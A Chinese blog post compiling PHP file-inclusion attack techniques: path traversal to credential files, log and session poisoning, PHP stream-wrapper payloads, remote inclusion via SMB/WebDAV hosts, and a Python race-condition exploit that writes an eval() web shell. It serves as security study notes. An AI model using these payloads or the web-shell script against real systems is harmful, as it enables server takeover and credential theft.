PHP文件包含 整理

文件包含

参考资料:
文件包含漏洞简介
利用phpinfo条件竞争
PHP文件包含漏洞利用思路与Bypass总结手册

1. 概述

什么是文件包含:文件包含函数所加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他文件或恶意代码,导致信息泄露或代码注入。

要求:包含的文件路径攻击者可控,被包含的文件web服务器可访问。

1.1 常见的引发漏洞的函数:

  1. include()执行到include时才包含文件,文件不存在时提出警告,但是继续执行
  2. require()只要程序运行就会包含文件,文件不存在产生致命错误,并停止脚本
  3. include_once()require_once()只执行一次,如果一个文件已经被包含,则这两个函数不会再去包含(即使文件中间被修改过)。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),其中的文本内容都会直接作为php代码进行解析。

1.2 利用条件

  • 包含函数通过动态变量的方式引入需要包含的参数。

  • PHP中只要文件内容符合PHP语法规范,不管是什么后缀,都会被解析。

1.3 分类和利用思路

文件包含通常按照包含文件的位置分为两类:本地文件包含(LFI)和远程文件包含(RFI),顾名思义,本地文件包含就是指包含本地服务器上存储的一些文件;远程文件包含则是指被包含的文件不存储在本地。

本地文件包含

  1. 包含本地文件、执行代码
  2. 配合文件上传,执行恶意脚本
  3. 读取本地文件
  4. 通过包含日志的方式GetShell
  5. 通过包含/proc/self/envion文件GetShell
  6. 通过伪协议执行恶意脚本
  7. 通过phpinfo页面包含临时文件

远程文件包含

  1. 直接执行远程脚本(在本地执行)

远程文件包含需要在php.ini中进行配置,才可开启:

allow_url_fopen = On:本选项激活了 URL 风格的 fopen 封装协议,使得可以访问 URL 对象文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。(出于安全性考虑,此选项只能在 php.ini 中设置。)

allow_url_include = On:此选项允许将具有URL形式的fopen包装器与以下功能一起使用:include,include_once,require,require_once。(该功能要求allow_url_fopen开启)

2. 利用方法

2.1 配合文件解析漏洞来包含

http://target.com/?page=../../upload/123.jpg/.php

2.2 读取系统敏感文件(路径遍历)

include.php?file=../../../../../../../etc/passwd

Windows:

​ C:\boot.ini //查看系统版本
​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
​ C:\Windows\repair\sam //存储系统初次安装的密码
​ C:\Program Files\mysql\my.ini //Mysql配置
​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
​ C:\Windows\php.ini //php配置信息
​ C:\Windows\my.ini //Mysql配置信息

Linux:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz

2.3 包含http日志文件

通过包含日志文件,来执行夹杂在URL请求或者User-Agent头中的恶意脚本

  1. 通过读取配置文件确定日志文件地址

    默认地址通常为:/var/log/httpd/access_log/var/log/apache2/access.log

    1568647706502

  2. 请求时直接在URL后面加上脚本即可http://www.target.com/index.php<?php phpinfo();?>,之后去包含这个日志文件即可。

  3. 注意:日志文件会记录最为原始的URL请求,在浏览器地址栏中输入的地址会被URL编码,通过CURl或者Burp改包绕过编码。

apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日志默认路径
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS默认日志文件
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log

通过包含环境变量/proc/slef/enversion来执行恶意脚本,修改HTTP请求的User-Agent报头,但是没复现成功 😢

2.4 包含SSH日志

和包含HTTP日志类似,登录用户的用户名会被记录在日志中,如果可以读取到ssh日志文件,则可以利用恶意用户名注入php代码。

SSH登录日志常见存储位置:/var/log/auth.log/var/log/secure

image-20200602222554534

image-20200602223106890

2.5 使用PHP伪协议

PHP内置了很多URL 风格的封装协议,除了用于文件包含,还可以用于很多文件操作函数。在phpinfo的Registered PHP Streams中可以找到目前环境下可用的协议。

image-20200601222936655

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 压缩文件
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
  1. file://访问本地文件系统http://target.com/?page=file://D:/www/page.txt,正反斜线都行(windows),对于共享文件服务器可以使用\\smbserver\share\path\to\winfile.ext

  2. php://input访问输入输出流:?page=php://input,在POST内容中输入想要执行的脚本。

  3. php://filter:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

    image-20200601223225081

    全部可用过滤器列表:https://www.php.net/manual/zh/filters.php

    通常利用该伪协议来读取php源码,通过设定编码方式(以base64编码为例),可以防止读取的内容被当做php代码解析,利用方式(就是read写不写的区别):

    index.php?file=php://filter/read=convert.base64-encode/resource=index.php
    index.php?file=php://filter/convert.base64-encode/resource=index.php
    
  4. data://数据流封装:?page=data://text/plain,脚本

img

  1. zip://压缩流:创建恶意代码文件,添加到压缩文件夹,上传,无视后缀。通过?page=zip://绝对路径%23文件名访问,5.2.9之前是只能绝对路径。

备注:

  1. 文件需要绝对路径才能访问

  2. 需要通过#(也就是URL中的%23)来指定代码文件

  3. compress.bzip2://compress.zlib://压缩流,与zip类似,但是支持相对路径无视后缀

    bzipgzip是对单个文件进行压缩(不要纠结要不要指定压缩包内的文件😄)

    ?file=compress.bzip2://路径
    ?file=compress.zlib://路径
    
  4. phar://支持zip、phar格式的压缩(归档)文件,无视后缀(也就是说jpg后缀照样给你解开来),?file=phar://压缩包路径/压缩包内文件名,绝对路径和相对路径都行。

    利用方法:

    index.php?file=phar://test.zip/test.txt
    index.php?file=phar://test.xxx/test.txt
    

    制作phar文件(php5.3之后):

    1. 设置php.iniphar.readonly=off
    2. 制作生成脚本
    <?php 
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要压缩的文件及内容
    $phar->stopBuffering(); //签名自动计算
    ?>
    // 这个脚本需要使用php.exe 来生成
    
    1. 生成脚本2

      <?php
      $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
      $p->addFromString('test.txt', '<?php phpinfo();?>');
      ?>
      //这个脚本可以通过访问来触发,在本地生成一个test.123,但是不能生成后缀为phar的文件(其他的都行,甚至是php)
      

2.6 配合phpinfo页面包含临时文件

向phpinfo页面上传文件的时候,phpinfo会返回临时文件的保存路径

1568784122538

临时文件存活时间很短,当连接结束后,临时文件就会消失。条件竞争

只要发送足够多的的数据,让页面还未反应过来的时候去包含文件,即可。

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

  2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

  3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

  4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

  5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

  6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

    利用脚本exp

2.7 包含Session

  1. PHP将用户Session以文件的形式保存在主机中,通过php.ini文件中的session.save_path字段可以设置具体的存储位置,通过phpinfo页面也可以查询到;文件命名格式为:sess_<PHPSESSID>,其中PHPSESSID为用户cookie中PHPSESSID对应的值;Session文件一些可能的保存路径:

    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
    
  2. Session文件内容有两种记录格式:php、php_serialize,通过修改php.ini文件中session.serialize_handler字段来进行设置。

    以php格式记录时,文件内容中以|来进行分割:

    image-20200602202539935

    以php_serialize格式记录时,将会话内容以序列化形式存储:

    image-20200602204111143

  3. 如果保存的session文件中字符串可控,那么就可以构造恶意的字符串触发文件包含。

    先构造一个含有恶意字符串的session文件:?user=test&cmd=<?php phpinfo();?>,之后包含这个会话的session文件。

    image-20200602205045488

2.9 包含环境变量

CGI****利用条件:1231、php以cgi方式运行,这样environ才会保存UA头。``2、environ文件存储位置已知,且environ文件可读。利用姿势:proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

3. 绕过技巧

3.1 限制路径路径

服务器限制了访问文件的路径,例如在变量前面追加'/var/www/html'限制只能包含web目录下的文件,可以利用路径穿越进行对抗。

../../../../../../../ect/passwd

对于输入有过滤的情况,可以尝试用URL编码进行转换,比如%2e%2e%2f,甚至是二次转换。

3.2 限制后缀

对用户输入添加后缀,比如:自动添加.jgp后缀、或者期望用户输如一个父目录,服务器自动拼接上子目录和文件。

  1. 如果是远程文件包含的话可以利用URL的特性?#

    构造出类似于http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路径,使得服务器预设的后缀变成URL的参数或者页面锚点。

  2. 利用压缩协议:构建一个压缩包归档文件,里面包含上服务器加的后缀,这样完整的路径将指向压缩包内文件。

    比如压缩包中文件为test.zip->test->defautl->test.php ,构造url:include.php?file=phar://test.zip/test,服务端拼接后变成include('phar://test.zip/test/defautl/test.php')

  3. 利用超长字符串进行截断,在php<5.2.8的版本可以设置一个超级长的路径,超过的部分将被服务器丢弃。

    win最长为256字节、Linux为4096字节,构造include.php?file=./././././(n多个)././test.php

  4. 利用00截断:php<5.3.4时可用%00对字符串进行截断,%00被是识别为字符串终止标记。

3.3 allow_url_include = off

利用SMB、webdav等使用UNC路径的文件共享进行绕过。

  1. 利用SMB(只对Win的web服务器有效):构建SMB服务器后,构造URL:?include.php?file=\\172.16.97.128\test.php
  2. 利用WebDAV:构造连接?include.php?file=//172.16.97.128/webdav/test.php

3.4 Base64 处理的session文件

为了保护用户的信息或存储更多格式的信息,很多时候都会对Session文件进行编码,以Base64编码为例,阐述绕过思路。了解服务端使用的编码模式以及对应的解码模式;合理安排payload使其满足解码条件,只要不干扰php代码运行就可以。

  1. 根据上边介绍的伪协议的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可对base64编码的文件进行解码,但是直接解码session文件时会出现乱码。其原因在于session文档中包含的并非全部都是base64编码的内容,session开头的user|s:24:字符串也被当做base64进行解码,从而导致出现乱码的情况,因此如果能忽略前面的字符,就可以完美解码了。

    image-20200603201257906

    image-20200603201451639

  2. 有利条件:PHP在进行base64解码的时候并不会去处理非Base64编码字符集的内容,直接忽略过去并拼接之后的内容。也就是说,Session文件中的:|{};"这类字符对Base64解码没有影响。

  3. Base64解码过程简单来说就是:将字符串按照每4个字符分为一组,解码为二进制数据流再拼接到一起,因此要保证我们可以将payload正确解出,需要将编码后的payload其实位置控制在4n+1的位置(第5、9、13...位)。(base64编码后长度为原数据长度的4/3)

  4. user:|s:24:"有效字符有7个,若要将payload置于第9位,则需要再增加一个字符,简单有效的办法就是让24变成一个三位数——填充无效数据扩充payload长度。

    image-20200603202815021

  5. serialize模式同理,session文件中a:1:{s:4:"user";s:24:"共11个干扰字符,因此同样只需将payload产生的字符串长度增加到三位数即可。

    image-20200603203141019

    image-20200603203446872

3.5 自己构造Session

有的网站可能不提供用户会话记录,但是默认的配置可以让我们自己构造出一个Session文件。相关的选项如下:

  • session.use_strict_mode = 0,允许用户自定义Session_ID,也就是说可以通过在Cookie中设置PHPSESSID=xxx将session文件名定义为sess_xxx
  • session.upload_progress.enabled = on,PHP可以在每个文件上传时监视上传进度。
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

利用思路:

  1. 上传一个文件

  2. 上传时设置一个自定义PHPSESSIDcookie

  3. POST PHP_SESSION_UPLOAD_PROGRESS恶意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

    这样就会在Session目录下生成一个包含恶意代码的session文件。

    image-20200603220807455

  4. 但是php默认设置中会打开session.upload_progress.cleanup = on,也就是当文件上传完成后会自动删除session文件,使用条件竞争绕过,恶意代码功能设置为生成一个shell.php。

利用exp:

import io
import sys
import requests
import threading

sessid = 'test'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://127.0.0.1/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'PHP Version' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

3.6 CVE-2018-14884

CVE-2018-14884会造成php7出现段错误,从而导致垃圾回收机制失效,POST的文件会保留在系统缓存目录下而不会被清除。

影响版本:

PHP Group PHP 7.0.*,<7.0.27
PHP Group PHP 7.1.*,<7.1.13
PHP Group PHP 7.2.*,<7.2.1

windows 临时文件:C:\windows\php<随机字符>.tmp

linux临时文件:/tmp/php<随机字符>

  1. 漏洞验证include.php?file=php://filter/string.strip_tags/resource=index.php返回500错误

    image-20200603222855536

  2. post恶意字符串

    import requests
    
    files = {
      'file': '<?php phpinfo();'
    }
    url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
    r = requests.post(url=url, files=files, allow_redirects=False)
    
  3. 在临时文件中可以看到恶意代码成功写入

    image-20200603223356099

  4. 至于包含嘛,爆破或者其他手段探测这个临时文件吧。

    image-20200603223459892

posted @ 2020-06-06 15:02  掉到鱼缸里的猫  阅读(994)  评论(0编辑  收藏  举报